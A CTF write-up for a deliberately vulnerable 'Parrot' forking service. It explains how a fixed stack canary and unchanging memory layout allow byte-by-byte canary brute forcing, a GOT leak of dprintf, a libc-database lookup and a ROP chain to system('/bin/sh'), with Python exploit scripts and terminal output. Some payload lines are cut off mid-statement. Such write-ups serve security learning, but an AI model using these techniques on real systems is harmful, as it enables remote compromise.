====== Final CTF: Parrot task writeup ====== void parrot(int sockfd) { int count; char buf[1024]; dprintf(sockfd, "==============================================\n"); dprintf(sockfd, "Welcome to the Unexploitable Parrot service\n"); dprintf(sockfd, "==============================================\n"); dprintf(sockfd, "Stack smashing is futile if you apply protection mechanisms, right? Can you prove me wrong?\n"); dprintf(sockfd, "Here, have a stack buffer overflow. It's on us :)\n"); count = read(sockfd, buf, 1200); } We start out by checking the protection mechanisms on the binary: checksec.sh --file parrot RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH parrot Ok, so we somehow need to bypass the canary and then ROP our way to a shell (since it has NX). What's curious about this binary is that it handles connections by itself using a forking mechanism: newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen); if (newsockfd < 0) { perror("ERROR on accept"); exit(1); } pid = fork(); if (pid < 0) { perror("ERROR on fork"); exit(1); } if (pid == 0) { close(sockfd); doprocessing(newsockfd); exit(0); } else { waitpid(-1, NULL, WNOHANG); close(newsockfd); } ..... void doprocessing(int sockfd) { parrot(sockfd); dprintf(sockfd, "Goodbye!\n"); } This is particularly useful in two ways: * ASLR is effectively disabled: randomization only occurs at the creation of the parent process. forking does not change the memory layout. * The canary is fixed: it's only set before main is called in the libc boilerplate code. This means that throughout the lifetime of the parent process and its children processes only one canary is used. ===== Step 1: finding the canary ===== Since the canary is 4 bytes long this would imply that we need 2**32 tries to get it right. However, the current setup reduces this number drastically: we can control how much we overflow such that we only overflow into one byte at a time in the canary. This effectively means that we have 256 possibilities for each byte. We also know that in general stack canaries end with 0x00 so this leaves us with 256 + 256 + 256 tries in total. We first need to know the offset from the start of our buffer to the stack canary. Since this function uses only one buffer the canary will be exactly after it (offset 1024) Exploit code as follows: #!/usr/bin/python import struct import socket import telnetlib import sys def try_canary(canary): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1', 31337)) f = s.makefile('rw', bufsize=0) readuntil(f, ":)\n") f.write(1024 * "A" + canary ) rcvd = readuntil(f, "Goodbye") if len(rcvd) > 3: print canary.encode('hex') exit(0) def readuntil(f, delim='> '): data = '' while not data.endswith(delim): c = f.read(1) data += c if c == "": break return data canary = sys.argv[1] canary = canary.decode('hex') for i in range(257): try_canary( canary + chr(i) ) root@dmns:x86_64 [parrot] # python canary_find.py "" 00 root@dmns:x86_64 [parrot] # python canary_find.py "00" 0079 root@dmns:x86_64 [parrot] # python canary_find.py "0079" 0079b4 root@dmns:x86_64 [parrot] # python canary_find.py "0079b4" 0079b43e ===== Step 2: ROPing into system ===== Having the canary we should first test a simple payload such as a printf on a string. However, we need to output it on the socket so we will be using dprintf. To find out the offset to the return address use gdb to bypass the stack canary check locally and us e a cyclic pattern. The end result is 1040. We use peda strings to get a string and the address of dprintf: gdb-peda$ print dprintf $1 = {} 0x8048570 gdb-peda$ strings x8049b90: Stack smashing is futile if you apply protection mechanisms, right? Can you prove me wrong? 0x8049bf0: Here, have a stack buffer overflow. It's on us :) 0x8049c23: Goodbye! 0x8049c2d: Usage: %s 0x8049c3f: ERROR opening socket 0x8049c54: 0.0.0.0 0x8049c5c: ERROR on binding 0x8049c6d: ERROR on accept 0x8049c7d: ERROR on fork We'll use 0x8049c54: 0.0.0.0 #!/usr/bin/python import struct import socket import telnetlib import sys s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1', 31337)) f = s.makefile('rw', bufsize=0) def readuntil(f, delim='> '): data = '' while not data.endswith(delim): c = f.read(1) data += c if c == "": break return data readuntil(f, ":)") canary = "0079b43e" canary = canary.decode('hex') dprintf = 0x8048570 string = 0x8049c54 payload = struct.pack(" What we would like to do now is call system("/bin/sh"), however we don't know their address because we don't have the remote libc.so used. There are two methods of obtaining the needed info: * Assume that all CTF tasks are started on the same VM: exploit an easier task and copy the libc from there * Leak any function offset from libc and check against the ones in libc-database https://github.com/niklasb/libc-database To this end, we decide to leak an adress and search it in libc-database. Any function that was previously resolved is OK, one such function is dprintf itself. gdb-peda$ pdis dprintf Dump of assembler code for function dprintf@plt: 0x08048570 <+0>: jmp DWORD PTR ds:0x804a01c dprintf = 0x8048570 dprintf_got = 0x0804a01c payload = struct.pack(" # python exp.py dprintf at F75774E0 root@dmns:x86_64 [libc-database] # ./find dprintf 0xf75774e0 /lib32/libc.so.6 (id local-ae7678c438ab8fdcd986dbcc8a5be0695b8131c8) root@dmns:x86_64 [libc-database] # ./dump local-ae7678c438ab8fdcd986dbcc8a5be0695b8131c8 dprintf offset_dprintf = 0x0004c4e0 root@dmns:x86_64 [libc-database] # ./dump local-ae7678c438ab8fdcd986dbcc8a5be0695b8131c8 offset___libc_start_main_ret = 0x19943 offset_system = 0x0003dc70 offset_dup2 = 0x000db200 offset_read = 0x000da8c0 offset_write = 0x000da940 offset_str_bin_sh = 0x1594f5 The only thing remaining is a pop-pop-ret gadget to clear the stack in the ropchain. Any libc is full of such gadgets, we select one at random. The final exploit is as follows: #!/usr/bin/python import struct import socket import telnetlib import sys s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1', 31337)) f = s.makefile('rw', bufsize=0) def readuntil(f, delim='> '): data = '' while not data.endswith(delim): c = f.read(1) data += c if c == "": break return data readuntil(f, ":)") canary = "0079b43e" canary = canary.decode('hex') dprintf = 0x8048570 dprintf_got = 0x0804a01c payload = struct.pack(" root@dmns:x86_64 [parrot] # python exp.py date Fri Jul 31 17:33:14 EEST 2015